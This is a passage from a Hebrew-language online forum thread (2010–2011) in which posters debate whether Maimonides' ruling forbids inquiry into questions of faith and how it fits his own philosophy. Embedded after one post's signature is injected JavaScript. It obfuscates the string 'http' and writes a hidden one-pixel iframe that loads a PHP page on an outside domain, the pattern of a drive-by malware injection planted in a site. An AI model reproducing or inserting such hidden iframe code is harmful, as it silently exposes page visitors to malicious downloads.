|
|
| נשלח ב-31/12/2010 14:26 |
 |
| |
ואני מציע למתלבטים שייכנסו לפורום חוזרים בשאלה בתפוז.
מהטעמים שהעלה סקופר אני לא נותן לינק.
_________________
|
|
|
|
| נשלח ב-31/12/2010 14:39 |
|
| |
| מיימוני כתב: |  | הסקופר
ברוך הבא אל הפורום!
תודה על התוכחה. הבה ונבדוק מה בדיוק קובע הרמב"ם ואם זה שייך אלינו, לפורום.
הרמב"ם כותב:
רמב"ם הלכות עבודת כוכבים פרק ב הלכה ג
וכל הלאוין האלו בענין אחד הן והוא שלא יפנה אחר עבודת כוכבים וכל הנפנה אחריה בדרך שהוא עושה בו מעשה הרי זה לוקה, ולא עבודת כוכבים בלבד הוא שאסור להפנות אחריה במחשבה אלא כל מחשבה שהוא גורם לו לאדם לעקור עיקר מעיקרי התורה מוזהרין אנו שלא להעלותה על לבנו ולא נסיח דעתנו לכך ונחשוב ונמשך אחר הרהורי הלב, מפני שדעתו של אדם קצרה ולא כל הדעות יכולין להשיג האמת על בוריו, ואם ימשך כל אדם אחר מחשבות לבו נמצא מחריב את העולם לפי קוצר דעתו, כיצד פעמים יתור אחר עבודת כוכבים ופעמים יחשוב ביחוד הבורא שמא הוא שמא אינו, מה למעלה ומה למטה מה לפנים ומה לאחור, ופעמים בנבואה שמא היא אמת שמא היא אינה, ופעמים בתורה שמא היא מן השמים שמא אינה, ואינו יודע המדות שידין בהן עד שידע האמת על בוריו ונמצא יוצא לידי מינות, ועל ענין זה הזהירה תורה ונאמר בה ולא תתורו אחרי לבבכם ואחרי עיניכם אשר אתם זונים, כלומר לא ימשך כל אחד מכם אחר דעתו הקצרה וידמה שמחשבתו משגת האמת, כך אמרו חכמים אחרי לבבכם זו מינות ואחרי עיניכם זו זנות, ולאו זה אף על פי שהוא גורם לאדם לטרדו מן העולם הבא אין בו מלקות.
***
אם מעיינים בדברי הרמב"ם אפשר לראות שאכן אין ראוי לאדם להעסיק את עצמו בשאלות שאין לו יכולת לדון בהן.
אבל כמדומה שהרמב"ם לא דן כאן בשני מקרים:
א. יש כאלו שכישוריהם אכן מספיקים לכך. וכמדומה שרבים מבני הפורום עומדים בקריטריון הזה.
ב. יש בני אדם שלא חיפשו להעלות על ליבם שאלות פלפוליות, אלא שהחיים זימנו להם התלבטויות. מה יעשו? יצומו ויתפללו, או ילמדו ויעיינו?
יותר מכך, חלק גדול ממה שמובא כאן אינו שייך לשאלות שהרמב"ם אסר עליהן. למשל, האם השאלה המציקה מאד אם מה שאמרו חז"ל הוא נכון כמו נבואה, או שיש בדבריהם גם משלים שאינם עובדות היסטוריות, ואם יכלו לטעות. אלו שאלות שהיום בחברה החרדית יש כאלו שיגידו שכל מי שמעלה אותן הוא אפיקורס. אבל אלו אינן שאלות שהרמב"ם שולל ואלו שאלות חשובות מאד. כפי שתוכל לקרוא בעצמך בפורום שלנו.
אז תודה על התוכחה, ואם אתה בדרגה של מי שיכול לחשוב בלי להיבהל, אתה מוזמן להישאר כאן, לעיין ולתרום מחכמתך. ואם לא, אז קיים בעצמך "ברח דודי", סמיילי.
***
מיכי, למה למחוק? זו הערה חשובה. _________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
מיימוני, אכן תמוה לי הקטע שאתה מצטט איך זה מסתדר עם המורה נבוכים ועם כל הפילוסופיה שהרמב"ם עסק בהם?
ועל ההנחה שיש כאלה שכישוריהם מספיקים לכך, מהיכי תיתי להתיר דבר שהרמב"ם סתם לאיסור?
אם הקטע אכן כפשוטו שאסור לעסוק בחקירות אז נראה שהרמב"ם כופה על אדם שיש לו ספיקות שיתעלם מהספקות
ויאמין בעל כרחו.(אני מקווה שחברי עצכ"ח לא יהרגוני נפש על תגובתי כי לא לרעה התכוונתי)
 |
|
|
|
|
| נשלח ב-31/12/2010 16:05 |
|
| |
יעקב
למה להקפיד על מי ששאל שאלה טובה. אכן הפשט שלך ברמב"ם, שתמיד אסור, הוא סביר מאד, אולי יותר משלי, שיש להתיר במי שמסוגל. ויתכן גם שהרמב"ם כתב איסור גורף מתוך הידיעה שיש יוצאי דופן ויבינו שלא בהם הוא עוסק כאן.
וכן מה נענה למי שאמר שצם והתפלל וזה לא עזר והוא רוצה תשובות?
והאם יש להרחיב את איסור הרמב"ם גם על שאלות שאינן פילוסופיות ויש בהן הכרעה? כמו האם חכמים יכלו לומר לשון גוזמא וסיפור או לטעות?
בכל אופן, ניתן לדייק מדברי הרמב"ם הבאים:
מפני שדעתו של אדם קצרה ולא כל הדעות יכולין להשיג האמת על בוריו,
שיש דעות שכן יכולות להשיג את האמת על בוריו, לפי הרמב"ם ותפיסתו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
| נשלח ב-31/12/2010 16:24 |
|
| |
הרמב"ם חושב שאסור לחקור בזה מכיון שלא כל הדעות וכו' ממילא התורה אסרה על כולם הרי אף אחד לא חושד
עצמו שהוא מן השוטים, שהרי אם הוא היה יכול להבין שיש חכמה מעל חכמתו הרי גם היה חכם כמו השני אבל מכיון
שאינו חכם כל כך אז מחשיב את עצמו כאחד מהחכמים הגדולים.
ועלשאלתך במי שצם וכו' הרי זה האיסור אפילו שאתה רוצה אל תיכנס לזה כמו שאפילו אם יש לך נסיון חזק מאד
לעבור על לא תנאף אסור לך אף אם התפללת וכו' (אני מדבר על ההנחה שזה אכן פשט הרמב"ם).
למה להרחיב את האיסור לחכמים על לשונותם וכו'? מהיכי תיתי? מה זה קשור לעבודה זרה?
ועל עיקר שאלתי לא ענית איך הרמבם בעצמו עסק בפילוסופיה ובכלל לא הסתיר זאת, אז כנראה שיש לחלק
בין הדברים, ואולי החקירה מותרת רק בצורה סובייקטיבי לברר האמת שלנו בלי ליכנס לצד השני, או אולי שמותר
לחקור אבל לא ליכנס בדרך עבודתם של עבודה זרה, בקיצור איני יודע הייתי בטוח שאחרי כ"כ הרבה שנים של
דיונים וחקירות בפורום זה התשובה לשאלה שלי לחילוק בין הדברים תינתן מיד.
|
|
|
|
| נשלח ב-1/1/2011 18:43 |
|
| |
שבוע טוב לכולם:
לדעתי הרמב"ם בעניין זה כבר לא רלוונטית כהיום, נדמה לי שהמלבים והרב קוק מדברים על זה,
היום כל ילדי ובנות העולם כולו, לומדים מתוך חובה ללמוד,
במילא החכמה גלויה לכל,
בעל האשכול רוצה לעשות רושם כאילו אלה שלומדים מתקלקלים, אבל ההפך הוא הנכון בדרך כלל הלומדים דווקא לא מתקלקלים משום לימוד שהיא,
הם מתקלקלים במובן ההשקפה, אבל זה לא נקרא להתקלקל זה נקרא להחכים ולא להשאר טיפש ופתי המאמין לכל דבר,
תוקן על ידי maxmen ב- 01/01/2011 18:44:41
|
|
|
|
| נשלח ב-1/1/2011 18:47 |
|
| |
נראה לי אנשים מבלבלים פה בין שני דברים.
מה שמדבר הרמב"ם לא לחקור זה במהות הקב"ה בעצמו וכיו"ב כמו שכתוב בריש פרק שני דחגיגה
(אאל"ט) "מה לפנים ומה לאחור וכו' " כי יכול לבוא למסקנה של כפירה. (שאין הקב"ה וכיו"ב)
אבל רוב החקירות פה הם לא בקיומו של הקב"ה כלל, אלא ברצונו של הבורא (כפי שמובן מהתורה)
או בדרך הנהגתו את העולם...
|
|
|
|
| נשלח ב-1/1/2011 18:50 |
|
| |
יונתן: בזמן חז"ל היה אסור בגלל חוסר הלימוד הפילוסופי, מאז לומדים ושואלים בלי סוף וגם כאן בפורום,
התחיל עם זה בגלוי הרמב"ם,
_________________
|
|
|
|
| נשלח ב-1/1/2011 19:54 |
|
| |
| הסקופר כתב: | | כתבתי דברים אלו לאחר ששמעתי שבישיבת חברון השנה לבד מצאו חמש בחורים שהיו ידועים שמתעסקים בשאלות אלו שלש מתוכם לא הניחו תפילין ועוד שניים ,אחד -עזב לצבא והשני -עזב לישיבת הסדר... אבל בגדול אני מסכים עם מימוני שיש בחורים שיש להם שאלות אמיתיות והם חיבים לשאול אותם אבל מי אמר שמותר לשאול את שאלות אלו במקום שכולם יכולים לראות זאת? |
|
מדבריך יש ראיה לסתור.
אם רואים שקיים מספר גדול של אנשים שהתעסקו בשאלות אלו והסיקו מהן שדרך החיים שלהם איננה נכונה, הרי שיש רגליים לדבר שדרך החיים הזו באמת איננה נכונה. ולכן בוודאי שמוטל על כל דורש אמת לבדוק בעצמו את צדקת דרכו ולא להניח את נכונותה כדבר המובן מאליו.
לגבי הרמב"ם, גם לו יהי כדבריך שהרמב"ם אכן אוסר זאת, הרי שלא יתכן שתהיה חובה לשמוע בקולו, כי הרי לא יעלה על הדעת שדת תדרוש מהמאמינים בה להאמין בה ולא תאפשר להם לבדוק את אמיתותה. ואם דת דורשת דבר בלתי אפשרי שכזה ודורשת מאנשי אמת שבתוכה לחיות בסתירה בין דתם לבין הצורך הבסיסי לדעת שמה שהם מאמינים בו אמת הוא, הרי שדרישה זו עצמה מעלה פקפוקים כלפי נכונותה של אותה דת.
_________________
תוקן על ידי עץ_נטוע ב- 01/01/2011 19:56:37
|
|
|
|
| נשלח ב-1/1/2011 20:05 |
|
| |
יש מאמר של הרב שמואל הבר בגיליון 13 בצהר (אמור להיות באתר שלהם) בנושא לימוד פילוסופיה. הוא מביא סתירות בענין ואיני זוכר את מסקנתו.
|
|
|
|
| נשלח ב-1/1/2011 20:39 |
|
| |
לא התייחסתי לכל מה ששאל פותח האשכול רק רציתי להבין הסתירה המדומה, ודאי שיש תירוץ פשוט יותר שהרי
כמה ספרי חסידות ובראשם הבני יששכר מרבים להזהיר לא ליכנס לחקירה ומנסים ליישב בכל מיני תירוצים למה
הרמב"ם כן אחז מחקירות ואילו ההלכה הנ"ל היה דבר פשוט שקאי על חקירה כולם היו מביאים ראיה מזו.
|
|
|
|
| נשלח ב-1/1/2011 20:41 |
|
| |
יונתן, מעולם לא למדתי ספרי חקירה אבל כמדומני שספר מורה נבוכים חוקר בקיום הקב"ה.
|
|
|
|
| נשלח ב-1/1/2011 21:50 |
|
| |
אם אתם רוצים להרגיש חכמים יותר מהרמב"ם ומכל גדולי ישראל, אתם יכולים מצידי לעשות את זה. אבל למה לכם לגייס לצידכם את הרמב"ם כדי ולעוות את דבריו כדי להסביר איך אתם מצפצפים על כל שאר גדולי ישראל. מה כבר מפריע לכם לצפצף על כולם כולל על הרמב"ם. הרמב"ם אמר דברים ברורים שאסור לחקור בנושאים אלה. על מה הוויכוח בכלל?
|
|
|
|
| נשלח ב-1/1/2011 21:59 |
|
| |
מר בר מר,
התקלה בפורום "בחדר חרדים" תוקנה, אתה יכול לחזור לשם ולהפסיק לשוטט בפורומים של כופרים.
_________________
|
|
|
|
| נשלח ב-1/1/2011 22:00 |
|
| |
| מר_בר_מר כתב: | | | הרמב"ם אמר דברים ברורים שאסור לחקור בנושאים אלה. על מה הוויכוח בכלל? |
|
איפה אמר ??
_________________
|
|
|
|
|
| נשלח ב-1/1/2011 22:10 |
|
| |
מקסמן
ראה את דברי מיימוני בתחילת האשכול שהביא את דברי הרמב"ם והודה שזה פשטות דבריו.
עץ נטוע
אני לא חושב שאתם כופרים גם אם אני חושב שאפשר להעביר ביקורת. אני גם לא נוהג לשוטט בפורום בחדרי חרדים. חבל שכל מה שאתה יכול לעשות זה להגחיך את השני. אם אתה לא רוצה להתייחס אתה לא חייב, אבל תזכור שבצד השני עומד בן אדם. ולעניין לא ענית.
|
|
|
|
|
